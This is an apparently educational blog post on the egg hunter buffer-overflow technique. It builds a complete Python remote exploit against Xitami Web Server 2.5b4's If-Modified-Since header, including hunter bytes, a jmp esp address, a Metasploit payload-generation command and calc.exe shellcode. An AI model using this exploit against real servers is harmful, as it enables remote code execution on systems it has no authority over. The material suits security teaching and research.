A bit of a background on buffer overflow to begin with. Buffer overflow occurs when a program tries to write more data into buffer than it can actually hold. This makes it to overrun and write data in un-allocated memory location. If we carefully craft the data, we can control the flow of execution and then direct towards executing arbitrary code.
To execute arbitrary code, an attacker puts his shellcode in the available buffer space. What if, the shellcode requires more space than the available space in the buffer?
This is where the egg hunter technique is useful. Egg hunter is a small piece of shellcode which searches for an actual bigger shellcode which the attacker was not able to fit-in the available buffer space and redirect execution flow to it.
The egg hunter code searches for a “EGG” which is a unique string of 8 bytes made up of combining of two “TAG”. A “TAG” is a 4 byte unique string. Usually attackers consider using string like “w00t”, “lxxl” or any other strings which is unique enough to search in memory. An “EGG” is formed by combining two “TAG” to make it more unique, so that it won’t come across itself while searching in memory. The “EGG” is placed just before the “Shellcode” and the egg hunter code is placed in the small available buffer space while exploiting the overflows.
EGG = TAG + TAG i.e (lxxl) + (lxxl)
Basic mechanism of exploiting a stack overflow using egg hunter: When stack overflow occurs at some point it overwrites the EIP register (EIP points to next instruction to be executed). Then we should make EIP point to ESP where our shellcode will be present. In some cases shellcode might be just above the ESP, in that case we need jump back and execute shellcode which is egg hunter in this case, which searches for “EGG” in the entire memory and executes actual shellcode which is next “EGG”.
Lets execute our shellcode making use of egg hunter technique. We shall use Xitami Web Server 2.5b4, which has a remote buffer overflow vulnerability. We also need Immunity debugger and Mona.py plugin. The Xitami Web Server crashes if we send 72 or more bytes of data in ‘If-Modified-Since’ header.
Below is simple python code to crash the server.
import socket; buf = "A" * 72 header = ( 'GET / HTTP/1.1\r\n' \ 'If-Modified-Since: , %s\r\n\r\n') %(buf) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("VULN-IP-ADDRESS", 80)) print "Sending Payload..." s.send(header) s.close()
This code crashes the server.
We now know that we have about 72 bytes of buffer space with us, which is very less to fit in our shellcode.
Add 4 more bytes of data to “buf” variable to check the EIP register is overwritten with value “BBB”.
buf += "BBBB”
From the above screenshot it’s clear that EIP register is over written with value “B” ( i.e “42” in hex ) and sent data in the above section of the screenshot.
Now lets execute our shellcode using the egg hunter technique. We will use “NTAccessCheckAndAuditAlarm” egg hunter technique, which is of 32 bytes and easily fits in the available buffer space of 72 bytes.
Below is the hex code of the egg hunter.
hunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8" "\x6c\x78\x78\x6c" # Tag == lxxl "\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")
We will modify our “buf” variable to fit in our hunter code.
buf = “A” * 35 #35 bytes buf += hunter #32 bytes buf += “A” * 5 #5 bytes # Total 72 bytes
As we can see above, our data is present in ESP, so next we need to place the ESP address in EIP so that we can jump to ESP and egg hunter code is present just above where ESP is pointing.
To find out “jmp esp” address in loaded modules, we will use Mona plugin in immunity debugger
!mona jmp -r esp”
returns with the ESP address.
Add ESP address to the “buf” variable.
buf += "\x7b\x46\x86\x7c" #jmp esp address
Now we will be in ESP, and we need to jump backward to the buffer to collide with our egg hunter code.
buf += "\xeb\xc4" # \xeb --> jmp \xc4 –60 bytes
As the egg hunter code executes, it hunts for the EGG in all the memory location and execute shellcode which is next to egg.
Now it is time to generate our shellcode. We will be generating a shellcode to execute calc.exe. Metasploit helps us to generate the shellcode. Make use of below command in Metasploit to generate shellcode.
msfpayload windows/exec CMD=calc.exe R | msfencode -b ‘\x00\x0A\x0D’ -t c”
Our final python program will be as below,
import socket; hunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74" "\xef\xb8\x6c\x78\x78\x6c\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7") shellcode = ("\xd9\xcf\xb8\x24\xd4\x20\xaa\xd9\x74\x24\xf4\x5b\x2b\xc9\xb1" "\x32\x31\x43\x17\x83\xc3\x04\x03\x67\xc7\xc2\x5f\x9b\x0f\x8b" "\xa0\x63\xd0\xec\x29\x86\xe1\x3e\x4d\xc3\x50\x8f\x05\x81\x58" "\x64\x4b\x31\xea\x08\x44\x36\x5b\xa6\xb2\x79\x5c\x06\x7b\xd5" "\x9e\x08\x07\x27\xf3\xea\x36\xe8\x06\xea\x7f\x14\xe8\xbe\x28" "\x53\x5b\x2f\x5c\x21\x60\x4e\xb2\x2e\xd8\x28\xb7\xf0\xad\x82" "\xb6\x20\x1d\x98\xf1\xd8\x15\xc6\x21\xd9\xfa\x14\x1d\x90\x77" "\xee\xd5\x23\x5e\x3e\x15\x12\x9e\xed\x28\x9b\x13\xef\x6d\x1b" "\xcc\x9a\x85\x58\x71\x9d\x5d\x23\xad\x28\x40\x83\x26\x8a\xa0" "\x32\xea\x4d\x22\x38\x47\x19\x6c\x5c\x56\xce\x06\x58\xd3\xf1" "\xc8\xe9\xa7\xd5\xcc\xb2\x7c\x77\x54\x1e\xd2\x88\x86\xc6\x8b" "\x2c\xcc\xe4\xd8\x57\x8f\x62\x1e\xd5\xb5\xcb\x20\xe5\xb5\x7b" "\x49\xd4\x3e\x14\x0e\xe9\x94\x51\xe0\xa3\xb5\xf3\x69\x6a\x2c" "\x46\xf4\x8d\x9a\x84\x01\x0e\x2f\x74\xf6\x0e\x5a\x71\xb2\x88" "\xb6\x0b\xab\x7c\xb9\xb8\xcc\x54\xda\x5f\x5f\x34\x1d") buf = "A"*35 buf += hunter buf += "A"*5 buf += "\x13\x44\x87\x7c" #ESP Address buf += "\xeb\xc4" #Jump backward #EGG (TAG + TAG) + SHELLCODE. buf += "lxxllxxl" + shellcode header = ( 'GET / HTTP/1.1\r\n' \ 'If-Modified-Since: , %s\r\n\r\n') %(buf) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("VULN-IP-ADDRESS", 80)) print "Sending Payload" s.send(header) s.close()
There are quite a few egg hunter techniques for Win32 and Linux applications as mentioned in the skape paper.
- access(2) – 39 bytes
- access(2) revisited – 35 bytes
- sigaction(2) – 30 bytes
- Structured Exception Handling (SEH) – 60 bytes
- IsBadReadPtr – 37 bytes
- NtDisplayString – 32 bytes
- NTAccessCheckAndAuditAlarm – 32 bytes
Egg hunter technique varies on the basis of available buffer space to fit in the egg hunter code and also depends on memory searching technique in the target system.
– Shashi Kiran